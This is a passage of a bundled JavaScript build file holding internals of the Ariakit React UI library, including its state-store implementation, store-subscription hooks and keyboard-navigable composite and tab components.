3606 const { view, ...eventInit } = event;
3607 queueMicrotask(() => fireClickEvent(element, eventInit));
3608 }
3609 }
3610 });
3611 props = {
3612 "data-active": active || void 0,
3613 type: isNativeButton ? "button" : void 0,
3614 ...metadataProps,
3615 ...props,
3616 ref: useMergeRefs(ref, props.ref),
3617 onKeyDown,
3618 onKeyUp
3619 };
3620 props = useFocusable(props);
3621 return props;
3622 }
3623 );
3624 var Command = forwardRef2(function Command2(props) {
3625 const htmlProps = useCommand(props);
3626 return createElement(TagName3, htmlProps);
3627 });
3628
3629 // node_modules/@ariakit/core/esm/__chunks/SXKM4CGU.js
3630 function getInternal(store, key) {
3631 const internals = store.__unstableInternals;
3632 invariant(internals, "Invalid store");
3633 return internals[key];
3634 }
3635 function createStore(initialState, ...stores) {
3636 let state = initialState;
3637 let prevStateBatch = state;
3638 let lastUpdate = /* @__PURE__ */ Symbol();
3639 let destroy = noop;
3640 const instances = /* @__PURE__ */ new Set();
3641 const updatedKeys = /* @__PURE__ */ new Set();
3642 const setups = /* @__PURE__ */ new Set();
3643 const listeners = /* @__PURE__ */ new Set();
3644 const batchListeners = /* @__PURE__ */ new Set();
3645 const disposables = /* @__PURE__ */ new WeakMap();
3646 const listenerKeys = /* @__PURE__ */ new WeakMap();
3647 const storeSetup = (callback) => {
3648 setups.add(callback);
3649 return () => setups.delete(callback);
3650 };
3651 const storeInit = () => {
3652 const initialized = instances.size;
3653 const instance = /* @__PURE__ */ Symbol();
3654 instances.add(instance);
3655 const maybeDestroy = () => {
3656 instances.delete(instance);
3657 if (instances.size) return;
3658 destroy();
3659 };
3660 if (initialized) return maybeDestroy;
3661 const desyncs = getKeys(state).map(
3662 (key) => chain(
3663 ...stores.map((store) => {
3664 var _a;
3665 const storeState = (_a = store == null ? void 0 : store.getState) == null ? void 0 : _a.call(store);
3666 if (!storeState) return;
3667 if (!hasOwnProperty(storeState, key)) return;
3668 return sync(store, [key], (state2) => {
3669 setState(
3670 key,
3671 state2[key],
3672 // @ts-expect-error - Not public API. This is just to prevent
3673 // infinite loops.
3674 true
3675 );
3676 });
3677 })
3678 )
3679 );
3680 const teardowns = [];
3681 for (const setup2 of setups) {
3682 teardowns.push(setup2());
3683 }
3684 const cleanups2 = stores.map(init);
3685 destroy = chain(...desyncs, ...teardowns, ...cleanups2);
3686 return maybeDestroy;
3687 };
3688 const sub = (keys, listener, set2 = listeners) => {
3689 set2.add(listener);
3690 listenerKeys.set(listener, keys);
3691 return () => {
3692 var _a;
3693 (_a = disposables.get(listener)) == null ? void 0 : _a();
3694 disposables.delete(listener);
3695 listenerKeys.delete(listener);
3696 set2.delete(listener);
3697 };
3698 };
3699 const storeSubscribe = (keys, listener) => sub(keys, listener);
3700 const storeSync = (keys, listener) => {
3701 disposables.set(listener, listener(state, state));
3702 return sub(keys, listener);
3703 };
3704 const storeBatch = (keys, listener) => {
3705 disposables.set(listener, listener(state, prevStateBatch));
3706 return sub(keys, listener, batchListeners);
3707 };
3708 const storePick = (keys) => createStore(pick(state, keys), finalStore);
3709 const storeOmit = (keys) => createStore(omit(state, keys), finalStore);
3710 const getState = () => state;
3711 const setState = (key, value, fromStores = false) => {
3712 var _a;
3713 if (!hasOwnProperty(state, key)) return;
3714 const nextValue = applyState(value, state[key]);
3715 if (nextValue === state[key]) return;
3716 if (!fromStores) {
3717 for (const store of stores) {
3718 (_a = store == null ? void 0 : store.setState) == null ? void 0 : _a.call(store, key, nextValue);
3719 }
3720 }
3721 const prevState = state;
3722 state = { ...state, [key]: nextValue };
3723 const thisUpdate = /* @__PURE__ */ Symbol();
3724 lastUpdate = thisUpdate;
3725 updatedKeys.add(key);
3726 const run = (listener, prev2, uKeys) => {
3727 var _a2;
3728 const keys = listenerKeys.get(listener);
3729 const updated = (k3) => uKeys ? uKeys.has(k3) : k3 === key;
3730 if (!keys || keys.some(updated)) {
3731 (_a2 = disposables.get(listener)) == null ? void 0 : _a2();
3732 disposables.set(listener, listener(state, prev2));
3733 }
3734 };
3735 for (const listener of listeners) {
3736 run(listener, prevState);
3737 }
3738 queueMicrotask(() => {
3739 if (lastUpdate !== thisUpdate) return;
3740 const snapshot = state;
3741 for (const listener of batchListeners) {
3742 run(listener, prevStateBatch, updatedKeys);
3743 }
3744 prevStateBatch = snapshot;
3745 updatedKeys.clear();
3746 });
3747 };
3748 const finalStore = {
3749 getState,
3750 setState,
3751 __unstableInternals: {
3752 setup: storeSetup,
3753 init: storeInit,
3754 subscribe: storeSubscribe,
3755 sync: storeSync,
3756 batch: storeBatch,
3757 pick: storePick,
3758 omit: storeOmit
3759 }
3760 };
3761 return finalStore;
3762 }
3763 function setup(store, ...args) {
3764 if (!store) return;
3765 return getInternal(store, "setup")(...args);
3766 }
3767 function init(store, ...args) {
3768 if (!store) return;
3769 return getInternal(store, "init")(...args);
3770 }
3771 function subscribe(store, ...args) {
3772 if (!store) return;
3773 return getInternal(store, "subscribe")(...args);
3774 }
3775 function sync(store, ...args) {
3776 if (!store) return;
3777 return getInternal(store, "sync")(...args);
3778 }
3779 function batch(store, ...args) {
3780 if (!store) return;
3781 return getInternal(store, "batch")(...args);
3782 }
3783 function omit2(store, ...args) {
3784 if (!store) return;
3785 return getInternal(store, "omit")(...args);
3786 }
3787 function pick2(store, ...args) {
3788 if (!store) return;
3789 return getInternal(store, "pick")(...args);
3790 }
3791 function mergeStore(...stores) {
3792 var _a;
3793 const initialState = {};
3794 for (const store2 of stores) {
3795 const nextState = (_a = store2 == null ? void 0 : store2.getState) == null ? void 0 : _a.call(store2);
3796 if (nextState) {
3797 Object.assign(initialState, nextState);
3798 }
3799 }
3800 const store = createStore(initialState, ...stores);
3801 return Object.assign({}, ...stores, store);
3802 }
3803 function throwOnConflictingProps(props, store) {
3804 if (false) return;
3805 if (!store) return;
3806 const defaultKeys = Object.entries(props).filter(([key, value]) => key.startsWith("default") && value !== void 0).map(([key]) => {
3807 var _a;
3808 const stateKey = key.replace("default", "");
3809 return `${((_a = stateKey[0]) == null ? void 0 : _a.toLowerCase()) || ""}${stateKey.slice(1)}`;
3810 });
3811 if (!defaultKeys.length) return;
3812 const storeState = store.getState();
3813 const conflictingProps = defaultKeys.filter(
3814 (key) => hasOwnProperty(storeState, key)
3815 );
3816 if (!conflictingProps.length) return;
3817 throw new Error(
3818 `Passing a store prop in conjunction with a default state is not supported.
3819
3820const store = useSelectStore();
3821<SelectProvider store={store} defaultValue="Apple" />
3822 ^ ^
3823
3824Instead, pass the default state to the topmost store:
3825
3826const store = useSelectStore({ defaultValue: "Apple" });
3827<SelectProvider store={store} />
3828
3829See https://github.com/ariakit/ariakit/pull/2745 for more details.
3830
3831If there's a particular need for this, please submit a feature request at https://github.com/ariakit/ariakit
3832`
3833 );
3834 }
3835
3836 // node_modules/@ariakit/react-core/esm/__chunks/Q5W46E73.js
3837 var React3 = __toESM(require_react(), 1);
3838 var import_shim = __toESM(require_shim(), 1);
3839 var { useSyncExternalStore } = import_shim.default;
3840 var noopSubscribe = () => () => {
3841 };
3842 function useStoreState(store, keyOrSelector = identity) {
3843 const storeSubscribe = React3.useCallback(
3844 (callback) => {
3845 if (!store) return noopSubscribe();
3846 return subscribe(store, null, callback);
3847 },
3848 [store]
3849 );
3850 const getSnapshot = () => {
3851 const key = typeof keyOrSelector === "string" ? keyOrSelector : null;
3852 const selector2 = typeof keyOrSelector === "function" ? keyOrSelector : null;
3853 const state = store == null ? void 0 : store.getState();
3854 if (selector2) return selector2(state);
3855 if (!state) return;
3856 if (!key) return;
3857 if (!hasOwnProperty(state, key)) return;
3858 return state[key];
3859 };
3860 return useSyncExternalStore(storeSubscribe, getSnapshot, getSnapshot);
3861 }
3862 function useStoreStateObject(store, object) {
3863 const objRef = React3.useRef(
3864 {}
3865 );
3866 const storeSubscribe = React3.useCallback(
3867 (callback) => {
3868 if (!store) return noopSubscribe();
3869 return subscribe(store, null, callback);
3870 },
3871 [store]
3872 );
3873 const getSnapshot = () => {
3874 const state = store == null ? void 0 : store.getState();
3875 let updated = false;
3876 const obj = objRef.current;
3877 for (const prop in object) {
3878 const keyOrSelector = object[prop];
3879 if (typeof keyOrSelector === "function") {
3880 const value = keyOrSelector(state);
3881 if (value !== obj[prop]) {
3882 obj[prop] = value;
3883 updated = true;
3884 }
3885 }
3886 if (typeof keyOrSelector === "string") {
3887 if (!state) continue;
3888 if (!hasOwnProperty(state, keyOrSelector)) continue;
3889 const value = state[keyOrSelector];
3890 if (value !== obj[prop]) {
3891 obj[prop] = value;
3892 updated = true;
3893 }
3894 }
3895 }
3896 if (updated) {
3897 objRef.current = { ...obj };
3898 }
3899 return objRef.current;
3900 };
3901 return useSyncExternalStore(storeSubscribe, getSnapshot, getSnapshot);
3902 }
3903 function useStoreProps(store, props, key, setKey) {
3904 const value = hasOwnProperty(props, key) ? props[key] : void 0;
3905 const setValue = setKey ? props[setKey] : void 0;
3906 const propsRef = useLiveRef({ value, setValue });
3907 useSafeLayoutEffect(() => {
3908 return sync(store, [key], (state, prev2) => {
3909 const { value: value2, setValue: setValue2 } = propsRef.current;
3910 if (!setValue2) return;
3911 if (state[key] === prev2[key]) return;
3912 if (state[key] === value2) return;
3913 setValue2(state[key]);
3914 });
3915 }, [store, key]);
3916 useSafeLayoutEffect(() => {
3917 if (value === void 0) return;
3918 store.setState(key, value);
3919 return batch(store, [key], () => {
3920 if (value === void 0) return;
3921 store.setState(key, value);
3922 });
3923 });
3924 }
3925 function useStore(createStore2, props) {
3926 const [store, setStore] = React3.useState(() => createStore2(props));
3927 useSafeLayoutEffect(() => init(store), [store]);
3928 const useState210 = React3.useCallback(
3929 (keyOrSelector) => useStoreState(store, keyOrSelector),
3930 [store]
3931 );
3932 const memoizedStore = React3.useMemo(
3933 () => ({ ...store, useState: useState210 }),
3934 [store, useState210]
3935 );
3936 const updateStore = useEvent(() => {
3937 setStore((store2) => createStore2({ ...props, ...store2.getState() }));
3938 });
3939 return [memoizedStore, updateStore];
3940 }
3941
3942 // node_modules/@ariakit/react-core/esm/__chunks/WZWDIE3S.js
3943 var import_react8 = __toESM(require_react(), 1);
3944 var import_jsx_runtime2 = __toESM(require_jsx_runtime(), 1);
3945 var TagName4 = "button";
3946 function isEditableElement(element) {
3947 if (isTextbox(element)) return true;
3948 return element.tagName === "INPUT" && !isButton(element);
3949 }
3950 function getNextPageOffset(scrollingElement, pageUp = false) {
3951 const height = scrollingElement.clientHeight;
3952 const { top } = scrollingElement.getBoundingClientRect();
3953 const pageSize = Math.max(height * 0.875, height - 40) * 1.5;
3954 const pageOffset = pageUp ? height - pageSize + top : pageSize + top;
3955 if (scrollingElement.tagName === "HTML") {
3956 return pageOffset + scrollingElement.scrollTop;
3957 }
3958 return pageOffset;
3959 }
3960 function getItemOffset(itemElement, pageUp = false) {
3961 const { top } = itemElement.getBoundingClientRect();
3962 if (pageUp) {
3963 return top + itemElement.clientHeight;
3964 }
3965 return top;
3966 }
3967 function findNextPageItemId(element, store, next2, pageUp = false) {
3968 var _a;
3969 if (!store) return;
3970 if (!next2) return;
3971 const { renderedItems } = store.getState();
3972 const scrollingElement = getScrollingElement(element);
3973 if (!scrollingElement) return;
3974 const nextPageOffset = getNextPageOffset(scrollingElement, pageUp);
3975 let id3;
3976 let prevDifference;
3977 for (let i3 = 0; i3 < renderedItems.length; i3 += 1) {
3978 const previousId = id3;
3979 id3 = next2(i3);
3980 if (!id3) break;
3981 if (id3 === previousId) continue;
3982 const itemElement = (_a = getEnabledItem(store, id3)) == null ? void 0 : _a.element;
3983 if (!itemElement) continue;
3984 const itemOffset = getItemOffset(itemElement, pageUp);
3985 const difference = itemOffset - nextPageOffset;
3986 const absDifference = Math.abs(difference);
3987 if (pageUp && difference <= 0 || !pageUp && difference >= 0) {
3988 if (prevDifference !== void 0 && prevDifference < absDifference) {
3989 id3 = previousId;
3990 }
3991 break;
3992 }
3993 prevDifference = absDifference;
3994 }
3995 return id3;
3996 }
3997 function targetIsAnotherItem(event, store) {
3998 if (isSelfTarget(event)) return false;
3999 return isItem(store, event.target);
4000 }
4001 var useCompositeItem = createHook(
4002 function useCompositeItem2({
4003 store,
4004 rowId: rowIdProp,
4005 preventScrollOnKeyDown = false,
4006 moveOnKeyPress = true,
4007 tabbable = false,
4008 getItem: getItemProp,
4009 "aria-setsize": ariaSetSizeProp,
4010 "aria-posinset": ariaPosInSetProp,
4011 ...props
4012 }) {
4013 const context = useCompositeContext();
4014 store = store || context;
4015 const id3 = useId(props.id);
4016 const ref = (0, import_react8.useRef)(null);
4017 const row = (0, import_react8.useContext)(CompositeRowContext);
4018 const disabled = disabledFromProps(props);
4019 const trulyDisabled = disabled && !props.accessibleWhenDisabled;
4020 const {
4021 rowId,
4022 baseElement,
4023 isActiveItem,
4024 ariaSetSize,
4025 ariaPosInSet,
4026 isTabbable: isTabbable2
4027 } = useStoreStateObject(store, {
4028 rowId(state) {
4029 if (rowIdProp) return rowIdProp;
4030 if (!state) return;
4031 if (!(row == null ? void 0 : row.baseElement)) return;
4032 if (row.baseElement !== state.baseElement) return;
4033 return row.id;
4034 },
4035 baseElement(state) {
4036 return (state == null ? void 0 : state.baseElement) || void 0;
4037 },
4038 isActiveItem(state) {
4039 return !!state && state.activeId === id3;
4040 },
4041 ariaSetSize(state) {
4042 if (ariaSetSizeProp != null) return ariaSetSizeProp;
4043 if (!state) return;
4044 if (!(row == null ? void 0 : row.ariaSetSize)) return;
4045 if (row.baseElement !== state.baseElement) return;
4046 return row.ariaSetSize;
4047 },
4048 ariaPosInSet(state) {
4049 if (ariaPosInSetProp != null) return ariaPosInSetProp;
4050 if (!state) return;
4051 if (!(row == null ? void 0 : row.ariaPosInSet)) return;
4052 if (row.baseElement !== state.baseElement) return;
4053 const itemsInRow = state.renderedItems.filter(
4054 (item2) => item2.rowId === rowId
4055 );
4056 return row.ariaPosInSet + itemsInRow.findIndex((item2) => item2.id === id3);
4057 },
4058 isTabbable(state) {
4059 if (!(state == null ? void 0 : state.renderedItems.length)) return true;
4060 if (state.virtualFocus) return false;
4061 if (tabbable) return true;
4062 if (state.activeId === null) return false;
4063 const item2 = store == null ? void 0 : store.item(state.activeId);
4064 if (item2 == null ? void 0 : item2.disabled) return true;
4065 if (!(item2 == null ? void 0 : item2.element)) return true;
4066 return state.activeId === id3;
4067 }
4068 });
4069 const getItem = (0, import_react8.useCallback)(
4070 (item2) => {
4071 var _a;
4072 const nextItem = {
4073 ...item2,
4074 id: id3 || item2.id,
4075 rowId,
4076 disabled: !!trulyDisabled,
4077 children: (_a = item2.element) == null ? void 0 : _a.textContent
4078 };
4079 if (getItemProp) {
4080 return getItemProp(nextItem);
4081 }
4082 return nextItem;
4083 },
4084 [id3, rowId, trulyDisabled, getItemProp]
4085 );
4086 const onFocusProp = props.onFocus;
4087 const hasFocusedComposite = (0, import_react8.useRef)(false);
4088 const onFocus = useEvent((event) => {
4089 onFocusProp == null ? void 0 : onFocusProp(event);
4090 if (event.defaultPrevented) return;
4091 if (isPortalEvent(event)) return;
4092 if (!id3) return;
4093 if (!store) return;
4094 if (targetIsAnotherItem(event, store)) return;
4095 const { virtualFocus, baseElement: baseElement2 } = store.getState();
4096 store.setActiveId(id3);
4097 if (isTextbox(event.currentTarget)) {
4098 selectTextField(event.currentTarget);
4099 }
4100 if (!virtualFocus) return;
4101 if (!isSelfTarget(event)) return;
4102 if (isEditableElement(event.currentTarget)) return;
4103 if (!(baseElement2 == null ? void 0 : baseElement2.isConnected)) return;
4104 if (isSafari() && event.currentTarget.hasAttribute("data-autofocus")) {
4105 event.currentTarget.scrollIntoView({
4106 block: "nearest",
4107 inline: "nearest"
4108 });
4109 }
4110 hasFocusedComposite.current = true;
4111 const fromComposite = event.relatedTarget === baseElement2 || isItem(store, event.relatedTarget);
4112 if (fromComposite) {
4113 focusSilently(baseElement2);
4114 } else {
4115 baseElement2.focus();
4116 }
4117 });
4118 const onBlurCaptureProp = props.onBlurCapture;
4119 const onBlurCapture = useEvent((event) => {
4120 onBlurCaptureProp == null ? void 0 : onBlurCaptureProp(event);
4121 if (event.defaultPrevented) return;
4122 const state = store == null ? void 0 : store.getState();
4123 if ((state == null ? void 0 : state.virtualFocus) && hasFocusedComposite.current) {
4124 hasFocusedComposite.current = false;
4125 event.preventDefault();
4126 event.stopPropagation();
4127 }
4128 });
4129 const onKeyDownProp = props.onKeyDown;
4130 const preventScrollOnKeyDownProp = useBooleanEvent(preventScrollOnKeyDown);
4131 const moveOnKeyPressProp = useBooleanEvent(moveOnKeyPress);
4132 const onKeyDown = useEvent((event) => {
4133 onKeyDownProp == null ? void 0 : onKeyDownProp(event);
4134 if (event.defaultPrevented) return;
4135 if (!isSelfTarget(event)) return;
4136 if (!store) return;
4137 const { currentTarget } = event;
4138 const state = store.getState();
4139 const item2 = store.item(id3);
4140 const isGrid2 = !!(item2 == null ? void 0 : item2.rowId);
4141 const isVertical = state.orientation !== "horizontal";
4142 const isHorizontal = state.orientation !== "vertical";
4143 const canHomeEnd = () => {
4144 if (isGrid2) return true;
4145 if (isHorizontal) return true;
4146 if (!state.baseElement) return true;
4147 if (!isTextField(state.baseElement)) return true;
4148 return false;
4149 };
4150 const keyMap = {
4151 ArrowUp: (isGrid2 || isVertical) && store.up,
4152 ArrowRight: (isGrid2 || isHorizontal) && store.next,
4153 ArrowDown: (isGrid2 || isVertical) && store.down,
4154 ArrowLeft: (isGrid2 || isHorizontal) && store.previous,
4155 Home: () => {
4156 if (!canHomeEnd()) return;
4157 if (!isGrid2 || event.ctrlKey) {
4158 return store == null ? void 0 : store.first();
4159 }
4160 return store == null ? void 0 : store.previous(-1);
4161 },
4162 End: () => {
4163 if (!canHomeEnd()) return;
4164 if (!isGrid2 || event.ctrlKey) {
4165 return store == null ? void 0 : store.last();
4166 }
4167 return store == null ? void 0 : store.next(-1);
4168 },
4169 PageUp: () => {
4170 return findNextPageItemId(currentTarget, store, store == null ? void 0 : store.up, true);
4171 },
4172 PageDown: () => {
4173 return findNextPageItemId(currentTarget, store, store == null ? void 0 : store.down);
4174 }
4175 };
4176 const action = keyMap[event.key];
4177 if (action) {
4178 if (isTextbox(currentTarget)) {
4179 const selection = getTextboxSelection(currentTarget);
4180 const isLeft = isHorizontal && event.key === "ArrowLeft";
4181 const isRight = isHorizontal && event.key === "ArrowRight";
4182 const isUp = isVertical && event.key === "ArrowUp";
4183 const isDown = isVertical && event.key === "ArrowDown";
4184 if (isRight || isDown) {
4185 const { length: valueLength } = getTextboxValue(currentTarget);
4186 if (selection.end !== valueLength) return;
4187 } else if ((isLeft || isUp) && selection.start !== 0) return;
4188 }
4189 const nextId = action();
4190 if (preventScrollOnKeyDownProp(event) || nextId !== void 0) {
4191 if (!moveOnKeyPressProp(event)) return;
4192 event.preventDefault();
4193 store.move(nextId);
4194 }
4195 }
4196 });
4197 const providerValue = (0, import_react8.useMemo)(
4198 () => ({ id: id3, baseElement }),
4199 [id3, baseElement]
4200 );
4201 props = useWrapElement(
4202 props,
4203 (element) => /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(CompositeItemContext.Provider, { value: providerValue, children: element }),
4204 [providerValue]
4205 );
4206 props = {
4207 id: id3,
4208 "data-active-item": isActiveItem || void 0,
4209 ...props,
4210 ref: useMergeRefs(ref, props.ref),
4211 tabIndex: isTabbable2 ? props.tabIndex : -1,
4212 onFocus,
4213 onBlurCapture,
4214 onKeyDown
4215 };
4216 props = useCommand(props);
4217 props = useCollectionItem({
4218 store,
4219 ...props,
4220 getItem,
4221 shouldRegisterItem: id3 ? props.shouldRegisterItem : false
4222 });
4223 return removeUndefinedValues({
4224 ...props,
4225 "aria-setsize": ariaSetSize,
4226 "aria-posinset": ariaPosInSet
4227 });
4228 }
4229 );
4230 var CompositeItem = memo2(
4231 forwardRef2(function CompositeItem2(props) {
4232 const htmlProps = useCompositeItem(props);
4233 return createElement(TagName4, htmlProps);
4234 })
4235 );
4236
4237 // node_modules/@ariakit/react-core/esm/tab/tab.js
4238 var import_react9 = __toESM(require_react(), 1);
4239 var import_jsx_runtime3 = __toESM(require_jsx_runtime(), 1);
4240 var TagName5 = "button";
4241 var useTab = createHook(function useTab2({
4242 store,
4243 getItem: getItemProp,
4244 ...props
4245 }) {
4246 var _a;
4247 const context = useTabScopedContext();
4248 store = store || context;
4249 invariant(
4250 store,
4251 "Tab must be wrapped in a TabList component."
4252 );
4253 const defaultId = useId();
4254 const id3 = props.id || defaultId;
4255 const dimmed = disabledFromProps(props);
4256 const getItem = (0, import_react9.useCallback)(
4257 (item2) => {
4258 const nextItem = { ...item2, dimmed };
4259 if (getItemProp) {
4260 return getItemProp(nextItem);
4261 }
4262 return nextItem;
4263 },
4264 [dimmed, getItemProp]
4265 );
4266 const onClickProp = props.onClick;
4267 const onClick = useEvent((event) => {
4268 onClickProp == null ? void 0 : onClickProp(event);
4269 if (event.defaultPrevented) return;
4270 store == null ? void 0 : store.setSelectedId(id3);
4271 });
4272 const panelId = store.panels.useState(
4273 (state) => {
4274 var _a2;
4275 return (_a2 = state.items.find((item2) => item2.tabId === id3)) == null ? void 0 : _a2.id;
4276 }
4277 );
4278 const shouldRegisterItem = defaultId ? props.shouldRegisterItem : false;
4279 const isActive = store.useState((state) => !!id3 && state.activeId === id3);
4280 const selected = store.useState((state) => !!id3 && state.selectedId === id3);
4281 const hasActiveItem2 = store.useState((state) => !!store.item(state.activeId));
4282 const canRegisterComposedItem = isActive || selected && !hasActiveItem2;
4283 const accessibleWhenDisabled = selected || ((_a = props.accessibleWhenDisabled) != null ? _a : true);
4284 const isWithinVirtualFocusComposite = useStoreState(
4285 store.combobox || store.composite,
4286 "virtualFocus"
4287 );
4288 if (isWithinVirtualFocusComposite) {
4289 props = {
4290 ...props,
4291 tabIndex: -1
4292 };
4293 }
4294 props = {
4295 id: id3,
4296 role: "tab",
4297 "aria-selected": selected,
4298 "aria-controls": panelId || void 0,
4299 ...props,
4300 onClick
4301 };
4302 if (store.composite) {
4303 const defaultProps = {
4304 id: id3,
4305 accessibleWhenDisabled,
4306 store: store.composite,
4307 shouldRegisterItem: canRegisterComposedItem && shouldRegisterItem,
4308 rowId: props.rowId,
4309 render: props.render
4310 };
4311 props = {
4312 ...props,
4313 render: /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(
4314 CompositeItem,
4315 {
4316 ...defaultProps,
4317 render: store.combobox && store.composite !== store.combobox ? /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(CompositeItem, { ...defaultProps, store: store.combobox }) : defaultProps.render
4318 }
4319 )
4320 };
4321 }
4322 props = useCompositeItem({
4323 store,
4324 ...props,
4325 accessibleWhenDisabled,
4326 getItem,
4327 shouldRegisterItem
4328 });
4329 return props;
4330 });
4331 var Tab = memo2(
4332 forwardRef2(function Tab2(props) {
4333 const htmlProps = useTab(props);
4334 return createElement(TagName5, htmlProps);
4335 })
4336 );
4337
4338 // node_modules/@ariakit/core/esm/__chunks/7PRQYBBV.js
4339 function toArray(arg) {
4340 if (Array.isArray(arg)) {
4341 return arg;
4342 }
4343 return typeof arg !== "undefined" ? [arg] : [];
4344 }
4345 function flatten2DArray(array) {
4346 const flattened = [];
4347 for (const row of array) {
4348 flattened.push(...row);
4349 }
4350 return flattened;
4351 }
4352 function reverseArray(array) {
4353 return array.slice().reverse();
4354 }
4355
4356 // node_modules/@ariakit/react-core/esm/__chunks/ZMWF7ASR.js
4357 var import_react10 = __toESM(require_react(), 1);
4358 var import_jsx_runtime4 = __toESM(require_jsx_runtime(), 1);
4359 var TagName6 = "div";
4360 function isGrid(items) {
4361 return items.some((item2) => !!item2.rowId);
4362 }
4363 function isPrintableKey(event) {
4364 const target = event.target;
4365 if (target && !isTextField(target)) return false;
4366 return event.key.length === 1 && !event.ctrlKey && !event.metaKey;
4367 }
4368 function isModifierKey(event) {
4369 return event.key === "Shift" || event.key === "Control" || event.key === "Alt" || event.key === "Meta";
4370 }
4371 function useKeyboardEventProxy(store, onKeyboardEvent, previousElementRef) {
4372 return useEvent((event) => {
4373 var _a;
4374 onKeyboardEvent == null ? void 0 : onKeyboardEvent(event);
4375 if (event.defaultPrevented) return;
4376 if (event.isPropagationStopped()) return;
4377 if (!isSelfTarget(event)) return;
4378 if (isModifierKey(event)) return;
4379 if (isPrintableKey(event)) return;
4380 const state = store.getState();
4381 const activeElement = (_a = getEnabledItem(store, state.activeId)) == null ? void 0 : _a.element;
4382 if (!activeElement) return;
4383 const { view, ...eventInit } = event;
4384 const previousElement = previousElementRef == null ? void 0 : previousElementRef.current;
4385 if (activeElement !== previousElement) {
4386 activeElement.focus();
4387 }
4388 if (!fireKeyboardEvent(activeElement, event.type, eventInit)) {
4389 event.preventDefault();
4390 }
4391 if (event.currentTarget.contains(activeElement)) {
4392 event.stopPropagation();
4393 }
4394 });
4395 }
4396 function findFirstEnabledItemInTheLastRow(items) {
4397 return findFirstEnabledItem(
4398 flatten2DArray(reverseArray(groupItemsByRows(items)))
4399 );
4400 }
4401 function useScheduleFocus(store) {
4402 const [scheduled, setScheduled] = (0, import_react10.useState)(false);
4403 const schedule = (0, import_react10.useCallback)(() => setScheduled(true), []);
4404 const activeItem = store.useState(
4405 (state) => getEnabledItem(store, state.activeId)
4406 );
4407 (0, import_react10.useEffect)(() => {
4408 const activeElement = activeItem == null ? void 0 : activeItem.element;
4409 if (!scheduled) return;
4410 if (!activeElement) return;
4411 setScheduled(false);
4412 activeElement.focus({ preventScroll: true });
4413 }, [activeItem, scheduled]);
4414 return schedule;
4415 }
4416 var useComposite = createHook(
4417 function useComposite2({
4418 store,
4419 composite = true,
4420 focusOnMove = composite,
4421 moveOnKeyPress = true,
4422 ...props
4423 }) {
4424 const context = useCompositeProviderContext();
4425 store = store || context;
4426 invariant(
4427 store,
4428 "Composite must receive a `store` prop or be wrapped in a CompositeProvider component."
4429 );
4430 const ref = (0, import_react10.useRef)(null);
4431 const previousElementRef = (0, import_react10.useRef)(null);
4432 const scheduleFocus = useScheduleFocus(store);
4433 const moves = store.useState("moves");
4434 const [, setBaseElement] = useTransactionState(
4435 composite ? store.setBaseElement : null
4436 );
4437 (0, import_react10.useEffect)(() => {
4438 var _a;
4439 if (!store) return;
4440 if (!moves) return;
4441 if (!composite) return;
4442 if (!focusOnMove) return;
4443 const { activeId: activeId2 } = store.getState();
4444 const itemElement = (_a = getEnabledItem(store, activeId2)) == null ? void 0 : _a.element;
4445 if (!itemElement) return;
4446 focusIntoView(itemElement);
4447 }, [store, moves, composite, focusOnMove]);
4448 useSafeLayoutEffect(() => {
4449 if (!store) return;
4450 if (!moves) return;
4451 if (!composite) return;
4452 const { baseElement, activeId: activeId2 } = store.getState();
4453 const isSelfAcive = activeId2 === null;
4454 if (!isSelfAcive) return;
4455 if (!baseElement) return;
4456 const previousElement = previousElementRef.current;
4457 previousElementRef.current = null;
4458 if (previousElement) {
4459 fireBlurEvent(previousElement, { relatedTarget: baseElement });
4460 }
4461 if (!hasFocus(baseElement)) {
4462 baseElement.focus();
4463 }
4464 }, [store, moves, composite]);
4465 const activeId = store.useState("activeId");
4466 const virtualFocus = store.useState("virtualFocus");
4467 useSafeLayoutEffect(() => {
4468 var _a;
4469 if (!store) return;
4470 if (!composite) return;
4471 if (!virtualFocus) return;
4472 const previousElement = previousElementRef.current;
4473 previousElementRef.current = null;
4474 if (!previousElement) return;
4475 const activeElement = (_a = getEnabledItem(store, activeId)) == null ? void 0 : _a.element;
4476 const relatedTarget = activeElement || getActiveElement(previousElement);
4477 if (relatedTarget === previousElement) return;
4478 fireBlurEvent(previousElement, { relatedTarget });
4479 }, [store, activeId, virtualFocus, composite]);
4480 const onKeyDownCapture = useKeyboardEventProxy(
4481 store,
4482 props.onKeyDownCapture,
4483 previousElementRef
4484 );
4485 const onKeyUpCapture = useKeyboardEventProxy(
4486 store,
4487 props.onKeyUpCapture,
4488 previousElementRef
4489 );
4490 const onFocusCaptureProp = props.onFocusCapture;
4491 const onFocusCapture = useEvent((event) => {
4492 onFocusCaptureProp == null ? void 0 : onFocusCaptureProp(event);
4493 if (event.defaultPrevented) return;
4494 if (!store) return;
4495 const { virtualFocus: virtualFocus2 } = store.getState();
4496 if (!virtualFocus2) return;
4497 const previousActiveElement = event.relatedTarget;
4498 const isSilentlyFocused = silentlyFocused(event.currentTarget);
4499 if (isSelfTarget(event) && isSilentlyFocused) {
4500 event.stopPropagation();
4501 previousElementRef.current = previousActiveElement;
4502 }
4503 });
4504 const onFocusProp = props.onFocus;
4505 const onFocus = useEvent((event) => {
4506 onFocusProp == null ? void 0 : onFocusProp(event);
4507 if (event.defaultPrevented) return;
4508 if (!composite) return;
4509 if (!store) return;
4510 const { relatedTarget } = event;
4511 const { virtualFocus: virtualFocus2 } = store.getState();
4512 if (virtualFocus2) {
4513 if (isSelfTarget(event) && !isItem(store, relatedTarget)) {
4514 queueMicrotask(scheduleFocus);
4515 }
4516 } else if (isSelfTarget(event)) {
4517 store.setActiveId(null);
4518 }
4519 });
4520 const onBlurCaptureProp = props.onBlurCapture;
4521 const onBlurCapture = useEvent((event) => {
4522 var _a;
4523 onBlurCaptureProp == null ? void 0 : onBlurCaptureProp(event);
4524 if (event.defaultPrevented) return;
4525 if (!store) return;
4526 const { virtualFocus: virtualFocus2, activeId: activeId2 } = store.getState();
4527 if (!virtualFocus2) return;
4528 const activeElement = (_a = getEnabledItem(store, activeId2)) == null ? void 0 : _a.element;
4529 const nextActiveElement = event.relatedTarget;
4530 const nextActiveElementIsItem = isItem(store, nextActiveElement);
4531 const previousElement = previousElementRef.current;
4532 previousElementRef.current = null;
4533 if (isSelfTarget(event) && nextActiveElementIsItem) {
4534 if (nextActiveElement === activeElement) {
4535 if (previousElement && previousElement !== nextActiveElement) {
